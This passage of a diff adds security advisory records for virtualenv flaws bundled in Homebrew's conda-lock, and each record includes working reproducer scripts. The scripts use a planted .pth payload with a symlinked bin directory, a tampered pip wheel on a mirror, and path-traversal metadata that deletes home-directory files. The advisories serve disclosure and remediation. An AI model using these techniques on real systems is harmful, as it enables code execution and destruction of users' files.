`pip*`, and `activate*` into `~/.local/bin`. The marker was absent immediately after creation; a later\n`pip --version` on the user's `PATH` loaded the seeded environment and the planted `.pth` code wrote the marker. A\nsecond case began with the `bin` link resolving inside the environment; replacement of a planted package link during\nseeding changed where it resolved, and writes again reached `~/.local/bin`.\n\nThe attacker must prepare entries in an existing destination. The `.pth` content is already attacker-controlled and\nwould run if the user used that environment directly; the added effect is creation-time writing or replacement outside\nthe requested tree and an executable on the user's `PATH` pointing at it. The scanner traces this default builtin path\nto 20.0.0b1. [PR #3429](https://github.com/pypa/virtualenv/pull/3429) replaces linked directory components before\ncreation. Concurrent parent replacement remains a separate case.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Prepared destination\n participant V as Builtin creator\n participant L as venv/bin symlink\n participant H as ~/.local/bin\n participant U as User\n A->>L: point to ../../.local/bin\n V->>L: ensure_dir accepts existing directory link\n V->>H: write python, pip and activate files through link\n V-->>U: creation reports success\n U->>H: run pip found on PATH\n H->>A: interpreter loads planted .pth\n A-->>U: marker created\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-MUFJEG11`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nWORK = Path(\"/tmp/planted-bin-link\")\nshutil.rmtree(WORK, ignore_errors=True)\n\n\ndef user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):\n local_bin = home / \".local/bin\"\n user_env = {\"HOME\": str(home), \"PATH\": f\"{local_bin}:{os.environ['PATH']}\"}\n local_bin_before = set(os.listdir(local_bin))\n payload_marker = home / \"PWNED\"\n\n # the attacker's checkout arrives at ~/project\n subprocess.run([sys.executable, f\"/tmp/repro.d/{make_checkout}\", home / \"project\"], check=True)\n venv = home / \"project/venv\"\n print(f\"CONTROL venv/bin before the run resolves to {os.path.realpath(venv / 'bin')}\")\n\n # default options; the flag only keeps the run off the network\n subprocess.run([\"virtualenv\", \"--no-periodic-update\", \"--quiet\", \"venv\"], cwd=home / \"project\", env=user_env, check=True)\n written = sorted(set(os.listdir(local_bin)) - local_bin_before)\n payload_ran_at_creation = payload_marker.exists()\n print(f\"OBSERVED venv/bin after the run resolves to {os.path.realpath(venv / 'bin')}\")\n print(f\"OBSERVED virtualenv wrote to {local_bin}: {written}\")\n print(f\"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}\")\n\n # later, in another folder, the user runs pip\n pip = subprocess.run([\"pip\", \"--version\"], cwd=home, env=user_env, capture_output=True, text=True)\n print(f\"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}\")\n print(f\"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}\")\n return written, payload_marker.exists() and not payload_ran_at_creation\n\n\nprint(\"--- checkout_with_bin_link.py: venv/bin -> ../../.local/bin\")\nhome = WORK / \"bin-link\"\n(home / \".local/bin\").mkdir(parents=True)\nwritten_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link.py\")\n\nprint(\"--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded\")\nhome = WORK / \"bin-link-staying-inside\"\n(home / \".local/bin\").mkdir(parents=True)\n# python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user's own python there\n(home / \".local/bin/python\").symlink_to(\"/usr/local/bin/python3\")\nwritten_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link_staying_inside.py\")\n\n# check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout's .pth\nplain_link_followed = {\"pip\", \"activate\"} <= set(written_1) and pip_ran_payload_1\nlink_staying_inside_followed = {\"pip\", \"activate\"} <= set(written_2) and pip_ran_payload_2\nprint(\"---\")\nprint(f\"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}\")\nprint(f\"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}\")\nprint(\"BUG\" if plain_link_followed or link_staying_inside_followed else \"OK\")\n```\n\n**`repro.d/checkout_with_bin_link.py`**\n\n```text\nimport sys\nfrom pathlib import Path\n\nvenv = Path(sys.argv[1]) / \"venv\"\n\n# one per minor version: the attacker does not know which Python the user has\nfor minor in range(9, 20):\n site_packages = venv / f\"lib/python3.{minor}/site-packages\"\n site_packages.mkdir(parents=True)\n (site_packages / \"payload.pth\").write_text(\"import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\\n\")\n\n# relative to a checkout at ~/project\n(venv / \"bin\").symlink_to(\"../../.local/bin\")\n```\n\n**`repro.d/checkout_with_bin_link_staying_inside.py`**\n\n```text\nimport sys\nfrom pathlib import Path\n\nvenv = Path(sys.argv[1]) / \"venv\"\n\nsite_packages = venv / \"lib/py/site-packages\"\nsite_packages.mkdir(parents=True)\n(site_packages / \"payload.pth\").write_text(\"import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\\n\")\nfor minor in range(9, 20):\n (venv / f\"lib/python3.{minor}\").symlink_to(\"py\")\n\n# pip -> a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below\n(venv / \"1/2/3/4/5/6/7\").mkdir(parents=True)\n(site_packages / \"pip\").symlink_to(\"../../../1/2/3/4/5/6/7\")\n\n# six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~\n(venv / \"1/.local/bin\").mkdir(parents=True)\n(venv / \"bin\").symlink_to(\"lib/py/site-packages/pip\" + \"/..\" * 6 + \"/.local/bin\")\n```\n\n## Impact\n\nCreation can place or replace environment files outside the selected tree. The written bytes are environment-creation\noutput; arbitrary attacker-selected file contents are not established.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths.\nEach replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced\nlink or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree\nreplacement.\n\nFix: [PR #3429](https://github.com/pypa/virtualenv/pull/3429).\n\n## Known mitigation\n\nCreate environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by\nanother account.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-MUFJEG11.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-cw65-gx24-rc82" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113716" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/virtualenv/pull/3429" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/virtualenv/commit/554d9f9d4f7758f5cf53f993031e29787f1f74c5" + }, + { + "type": "PACKAGE", + "url": "https://github.com/pypa/virtualenv" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9" + } + ] +} diff --git a/advisories/BREW-conda-lock-CVE-2026-113717.json b/advisories/BREW-conda-lock-CVE-2026-113717.json new file mode 100644 index 00000000000..a1950507914 --- /dev/null +++ b/advisories/BREW-conda-lock-CVE-2026-113717.json @@ -0,0 +1,86 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-conda-lock-CVE-2026-113717", + "published": "2026-10-29T21:39:28Z", + "modified": "2026-10-29T21:39:28Z", + "upstream": [ + "GHSA-cx28-75q4-x26q", + "BIT-virtualenv-2026-113717", + "CVE-2026-113717" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "conda-lock", + "purl": "pkg:brew/conda-lock" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.5.5" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "21.14.9", + "resource": "virtualenv", + "resource_purl": "pkg:pypi/virtualenv@20.39.1" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "virtualenv", + "subject_version": "20.39.1", + "key": "pkg:pypi/virtualenv@20.39.1", + "resource": "virtualenv" + } + ] + }, + "summary": "virtualenv: Pip seeding with download omits wheel digest verification", + "details": "## Summary\n\nThe pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected.\nIndex candidates on that path do not pass through virtualenv's wheel digest verification.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-74ALJBUF` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nWheel selection by the pip seeder when downloads are enabled.\n\n## Attacker-controlled input\n\nThe pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy.\nExplicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[pip seeder](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/pip_invoke.py).\n\n## Mechanism\n\nWith `--seeder pip --download`, `PipInvoke.get_pip_install_cmd()` first calls `get_wheel(download=False)`, so\nvirtualenv's `download_wheel()` and `verify_wheel_digest()` are skipped. It then lets `pip install` consult the\nconfigured index. An index wheel with the same package and version as the bundled wheel can be selected without\nvirtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the\nsame option.\n\n## Reproduction and evidence\n\nThe scanner built a local index named in `pip.conf` that served a modified copy of the bundled pip wheel under the same\nfilename. In the control run, `virtualenv --download env-default` rejected the wheel with a digest mismatch. In the\nsecond run, adding `--seeder pip` produced an environment whose installed `pip/__init__.py` matched the index wheel;\n`env-pip/bin/pip --version` ran the added line. The reproducer checked the installed bytes and marker before reporting\n`BUG`.\n\nBoth `--seeder pip` and `--download` are needed. The report used a non-PyPI index from `pip.conf` and left\n`PIP_INDEX_URL`, `PIP_EXTRA_INDEX_URL`, and `PIP_INDEX` unset, so virtualenv's default-seeder PyPI comparison remained\nactive. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is\nolder, while the comparison with the default seeder arose when digest verification was added in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) acquires and verifies selected wheels before invoking pip with\nindex lookup disabled.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant I as Index in pip.conf\n participant V as virtualenv PipInvoke\n participant P as pip install\n participant E as Seeded environment\n I->>V: serve modified pip wheel\n V->>V: get_wheel(download=False)\n V->>P: install with --download permitting index lookup\n P->>I: select same-version index wheel\n I->>E: modified pip installed without virtualenv digest check\n E->>E: later pip invocation runs added code\n Note over V,E: Default app-data seeder rejects the same digest\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-74ALJBUF`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport glob\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport zipfile\n\nfrom virtualenv.seed.wheels.embed import get_embed_wheel\n\ncompanions = \"/tmp/repro.d\"\nwork = \"/tmp/repro-pip-seeder-download\"\nshutil.rmtree(work, ignore_errors=True)\nos.makedirs(work)\n\n# set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenv_offline.py: no network)\nbundled = get_embed_wheel(\"pip\", f\"{sys.version_info.major}.{sys.version_info.minor}\")\npypi_sha256 = hashlib.sha256(open(bundled.path, \"rb\").read()).hexdigest()\npypi_release = {\"filename\": bundled.name, \"digests\": {\"sha256\": pypi_sha256}}\nos.makedirs(f\"{work}/pypi.org/pypi/pip\")\nwith open(f\"{work}/pypi.org/pypi/pip/json\", \"w\") as pypi_json:\n json.dump({\"releases\": {bundled.version: [pypi_release]}}, pypi_json)\n\n# attacker: the mirror serves other bytes under the bundled wheel's own file name\nmarker = f\"{work}/MIRROR_CODE_RAN\"\nsubprocess.run([sys.executable, f\"{companions}/make_mirror.py\", str(bundled.path), f\"{work}/mirror\", marker], check=True)\nmirror_wheel = f\"{work}/mirror/pip/{bundled.name}\"\nmirror_sha256 = hashlib.sha256(open(mirror_wheel, \"rb\").read()).hexdigest()\nprint(f\"{bundled.name}: PyPI publishes sha256 {pypi_sha256}\")\nprint(f\"{bundled.name}: the mirror serves sha256 {mirror_sha256}\")\n\n# user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset\nwith open(f\"{work}/pip.conf\", \"w\") as pip_conf:\n pip_conf.write(f\"[global]\\nindex-url = file://{work}/mirror\\n\") # file:// stands in for the mirror's http URL\nos.makedirs(f\"{work}/home-default\")\nos.makedirs(f\"{work}/home-pip\") # one HOME per run, so neither sees the other's app-data or pip cache\nvirtualenv = [sys.executable, f\"{companions}/virtualenv_offline.py\", f\"{work}/pypi.org\", \"--no-periodic-update\"]\n\n# control: the default seeder with --download fetches the mirror's wheel and refuses it\ndefault_seeder = subprocess.run(\n [*virtualenv, \"--download\", f\"{work}/env-default\"],\n env={**os.environ, \"HOME\": f\"{work}/home-default\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n capture_output=True,\n text=True,\n)\nrefusal = [line for line in default_seeder.stdout.splitlines() if line.startswith(\"RuntimeError: \")]\nprint(f\"\\nCONTROL virtualenv --download env-default: exit {default_seeder.returncode}\")\nprint(\"\\n\".join(refusal))\n\n# trigger: the same command plus --seeder pip\npip_seeder = subprocess.run(\n [*virtualenv, \"--download\", \"--seeder\", \"pip\", f\"{work}/env-pip\"],\n env={**os.environ, \"HOME\": f\"{work}/home-pip\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n capture_output=True,\n text=True,\n)\nprint(f\"\\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}\")\nprint(pip_seeder.stdout)\nif pip_seeder.returncode == 0:\n env_pip = subprocess.run([f\"{work}/env-pip/bin/pip\", \"--version\"], capture_output=True, text=True, check=True)\n print(f\"$ env-pip/bin/pip --version\\n{env_pip.stdout}\")\n\n# check: compare env-pip's pip/__init__.py with the one in each wheel\nwith zipfile.ZipFile(bundled.path) as wheel:\n bundled_init = wheel.read(\"pip/__init__.py\")\nwith zipfile.ZipFile(mirror_wheel) as wheel:\n mirror_init = wheel.read(\"pip/__init__.py\")\ninstalled = glob.glob(f\"{work}/env-pip/lib/python*/site-packages/pip/__init__.py\")\ninstalled_init = open(installed[0], \"rb\").read() if installed else b\"\"\nrefusal_message = f\"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}\"\nrefused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout\nprint(f\"default seeder refused the mirror's wheel for its digest: {refused}\")\nprint(f\"env-pip's pip/__init__.py is the bundled wheel's: {installed_init == bundled_init}, the mirror's: {installed_init == mirror_init}\")\nprint(f\"the mirror's line ran on env-pip/bin/pip --version: {os.path.exists(marker)}\")\nprint(\"BUG\" if refused and installed_init == mirror_init and os.path.exists(marker) else \"OK\")\n```\n\n**`repro.d/make_mirror.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: make_mirror.py \nimport os\nimport sys\nimport zipfile\n\ngenuine_wheel, mirror, marker = sys.argv[1:]\nwheel_name = os.path.basename(genuine_wheel)\npayload = f\"\\nopen({marker!r}, 'w').write('mirror code ran')\\n\"\n\nos.makedirs(f\"{mirror}/pip\")\nwith zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f\"{mirror}/pip/{wheel_name}\", \"w\") as served:\n for entry in genuine.infolist():\n data = genuine.read(entry)\n if entry.filename == \"pip/__init__.py\":\n data += payload.encode()\n served.writestr(entry, data)\n\n# PEP 503 project page; pip reads /pip/index.html for a file:// index\nwith open(f\"{mirror}/pip/index.html\", \"w\") as page:\n page.write(f'{wheel_name}\\n')\n```\n\n**`repro.d/virtualenv_offline.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: virtualenv_offline.py \n# The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder\n# checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.\nimport sys\n\nfrom virtualenv.__main__ import run_with_catch\nfrom virtualenv.seed.wheels import periodic_update\n\npypi_org = sys.argv[1]\n\n\ndef pypi_json_api(url, context=None):\n return open(url.replace(\"https://pypi.org\", pypi_org), \"rb\")\n\n\nperiodic_update.urlopen = pypi_json_api\nrun_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nThe default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by\nitself defeat TLS or establish control of an index response.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix acquires wheels through the shared verification path and installs pinned names with index lookup\ndisabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze\noutput.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nOn older releases, use embedded wheels without downloads, or acquire and verify approved seed archives\nseparately.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-74ALJBUF.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-cx28-75q4-x26q" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113717" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/virtualenv/pull/3430" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96" + }, + { + "type": "PACKAGE", + "url": "https://github.com/pypa/virtualenv" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9" + } + ] +} diff --git a/advisories/BREW-conda-lock-CVE-2026-113719.json b/advisories/BREW-conda-lock-CVE-2026-113719.json new file mode 100644 index 00000000000..fb157a0e491 --- /dev/null +++ b/advisories/BREW-conda-lock-CVE-2026-113719.json @@ -0,0 +1,86 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-conda-lock-CVE-2026-113719", + "published": "2026-10-29T21:39:28Z", + "modified": "2026-10-29T21:39:28Z", + "upstream": [ + "GHSA-hhxq-47xx-j5xx", + "BIT-virtualenv-2026-113719", + "CVE-2026-113719" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "conda-lock", + "purl": "pkg:brew/conda-lock" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.5.5" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "21.14.9", + "resource": "virtualenv", + "resource_purl": "pkg:pypi/virtualenv@20.39.1" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "virtualenv", + "subject_version": "20.39.1", + "key": "pkg:pypi/virtualenv@20.39.1", + "resource": "virtualenv" + } + ] + }, + "summary": "virtualenv: Seed replacement does not contain metadata deletion paths", + "details": "## Summary\n\nThe app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths\nwithout checking containment within the environment.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-SXOEHWP7` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nRemoval of a previously installed seed package.\n\n## Attacker-controlled input\n\nAn environment being reused must contain distribution metadata influenced by another account. The invoking user must\nhave deletion rights over the paths named by that metadata. Installing a new environment without existing package\nmetadata does not enter this cleanup path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[seed uninstall](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/pip_install/base.py).\n\n## Mechanism\n\nBefore reinstalling a seed wheel, `PipInstall._uninstall_previous_version()` accepts an existing `pip-*.dist-info`\ndirectory in the destination. `_uninstall_dist()` reads its `top_level.txt` and `RECORD`, joins each entry to\n`site-packages`, and deletes the result. It does not check whether `..`, an absolute entry, or a linked parent takes the\npath outside the environment. The default app-data seeder reaches this path when it reuses a tree containing\nseed-package metadata; `--clear` removes that tree first.\n\n## Reproduction and evidence\n\nThe scanner prepared a project with `.venv/lib/python3.14/site-packages/pip-1.0.dist-info/`. Its `top_level.txt`\ncontained `../../../../../Documents`; its `RECORD` named `../../../../../notes.txt,,`. The user's home initially held\n`Documents/thesis/chapter1.txt` and `notes.txt`. Running `virtualenv .venv` exited successfully but removed both paths.\nA control tree with `top_level.txt` set to `pip` and a normal `pip/__init__.py` RECORD entry left the home files in\nplace. The reproducer prints `BUG` only when the control files survive and both attack targets disappear.\n\nThe deletion uses the invoking user's permissions and runs during creation, before any use of the environment. It\nrequires an existing destination that another account could populate; a fresh empty environment does not supply hostile\nmetadata. The report traces this cleanup to #2186, first released in 20.8.1.\n[PR #3428](https://github.com/pypa/virtualenv/pull/3428) checks each deletion path against the resolved environment root\nand refuses to delete the root itself.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Prepared .venv metadata\n participant V as App-data seeder\n participant P as site-packages\n participant H as User home\n A->>P: top_level.txt names ../../../../../Documents\n A->>P: RECORD names ../../../../../notes.txt\n V->>P: read pip-1.0.dist-info before reinstall\n P->>H: join entries without containment check\n V->>H: remove Documents and notes.txt\n V-->>A: virtualenv exits successfully\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-SXOEHWP7`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nwork = Path(\"/tmp/repro-seed-uninstall\")\nshutil.rmtree(work, ignore_errors=True)\nUSER_FILES = (\"Documents/thesis/chapter1.txt\", \"notes.txt\")\n\n\ndef make_home(name):\n home = work / name\n (home / \"Documents\" / \"thesis\").mkdir(parents=True)\n (home / \"Documents\" / \"thesis\" / \"chapter1.txt\").write_text(\"months of work\\n\")\n (home / \"notes.txt\").write_text(\"my notes\\n\")\n return home\n\n\ndef unpack_attacker_project(home, top_level_line, record_line):\n subprocess.run(\n [sys.executable, \"/tmp/repro.d/make_project_tree.py\", home / \"project\", top_level_line, record_line],\n check=True,\n )\n\n\ndef user_runs_virtualenv(home):\n # HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline\n result = subprocess.run(\n [\"virtualenv\", \"--no-periodic-update\", \".venv\"],\n cwd=home / \"project\",\n env={**os.environ, \"HOME\": str(home)},\n stdout=subprocess.PIPE,\n text=True,\n check=True,\n )\n print(result.stdout, end=\"\")\n\n\ndef files_left(home):\n return [f for f in USER_FILES if (home / f).exists()]\n\n\n# control: the project ships well-formed pip metadata\ncontrol_home = make_home(\"control\")\nunpack_attacker_project(control_home, \"pip\", \"pip/__init__.py,,\")\nuser_runs_virtualenv(control_home)\ncontrol_left = files_left(control_home)\nprint(f\"CONTROL user files still in ~ after virtualenv: {control_left}\")\n\n# attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five \"..\" is ~\nattack_home = make_home(\"attack\")\nunpack_attacker_project(attack_home, \"../../../../../Documents\", \"../../../../../notes.txt,,\")\nprint(f\"BEFORE user files in ~ before virtualenv: {files_left(attack_home)}\")\nuser_runs_virtualenv(attack_home)\nattack_left = files_left(attack_home)\nprint(f\"OBSERVED user files still in ~ after virtualenv: {attack_left}\")\n\n# check: creating an environment must never delete the user's files outside it\nprint(\"BUG\" if control_left == list(USER_FILES) and attack_left == [] else \"OK\")\n```\n\n**`repro.d/make_project_tree.py`**\n\n```text\n#!/usr/bin/env python3\nimport sys\nfrom pathlib import Path\n\nproject = Path(sys.argv[1])\ntop_level_line = sys.argv[2]\nrecord_line = sys.argv[3]\n\nproject.mkdir(parents=True)\n(project / \"README\").write_text(\"Set up with: virtualenv .venv\\n\")\n\n# a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim's Python is unknown\nfor minor in range(9, 16):\n dist_info = project / \".venv\" / \"lib\" / f\"python3.{minor}\" / \"site-packages\" / \"pip-1.0.dist-info\"\n dist_info.mkdir(parents=True)\n (dist_info / \"top_level.txt\").write_text(top_level_line + \"\\n\")\n (dist_info / \"RECORD\").write_text(record_line + \"\\n\")\n```\n\n## Impact\n\nSeed cleanup can delete files outside the environment or the environment root itself. The invoking user must have\ndeletion rights over those paths.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix skips cleanup paths outside the resolved environment root, and the root itself, with a warning. Final\nlinks are removed without following their targets; parent links participate in containment checks.\n\nFix: [PR #3428](https://github.com/pypa/virtualenv/pull/3428).\n\n## Known mitigation\n\nRecreate environments from a trusted empty destination rather than reseeding a tree with untrusted installed metadata.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-SXOEHWP7.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-hhxq-47xx-j5xx" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113719" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/virtualenv/pull/3428" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/virtualenv/commit/e3cea6fa10a50fa29cf1fdddd772458fba076d5f" + }, + { + "type": "PACKAGE", + "url": "https://github.com/pypa/virtualenv" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9" + } + ] +} diff --git a/advisories/BREW-conda-lock-CVE-2026-113720.json b/advisories/BREW-conda-lock-CVE-2026-113720.json new file mode 100644 index 00000000000..b1548089f4d --- /dev/null +++ b/advisories/BREW-conda-lock-CVE-2026-113720.json @@ -0,0 +1,86 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-conda-lock-CVE-2026-113720", + "published": "2026-10-29T21:39:28Z", + "modified": "2026-10-29T21:39:28Z", + "upstream": [ + "GHSA-fc2g-4w5p-6whm", + "BIT-virtualenv-2026-113720", + "CVE-2026-113720" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "conda-lock", + "purl": "pkg:brew/conda-lock" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.5.5" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "21.14.9", + "resource": "virtualenv", + "resource_purl": "pkg:pypi/virtualenv@20.39.1" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "virtualenv", + "subject_version": "20.39.1", + "key": "pkg:pypi/virtualenv@20.39.1", + "resource": "virtualenv" + } + ] + }, + "summary": "virtualenv: Seeded files retain permissions from an older cache", + "details": "## Summary\n\nThe app-data copy seeder uses shutil.copy, which preserves cached file modes independently of the current umask. A cache\npopulated under permissive permissions can therefore produce files with wider access in later environments.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-487MH6OW` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nPermissions of files copied from app-data into a new environment.\n\n## Attacker-controlled input\n\nThe cache must contain files created with broader permissions than the current environment creator intends. Another\naccount must also be able to traverse the new environment and reach those files. A private parent directory prevents\nthat access. No control of a private live cache is assumed.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[copy helpers](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).\n\n## Mechanism\n\nThe default app-data seeder extracts a wheel into a reusable cache and copies its files into later environments with\n`shutil.copy()`. That function applies the cached source mode to each destination file after creating it, overriding the\ncurrent run's umask. If the cache image was built under umask `000`, a later environment created under umask `022` can\nreceive mode-`0666` pip files. The cache may be private while the new environment is reachable by other local accounts.\n\n## Reproduction and evidence\n\nThe scanner created two histories with separate private app-data caches. In the control, the owner's first 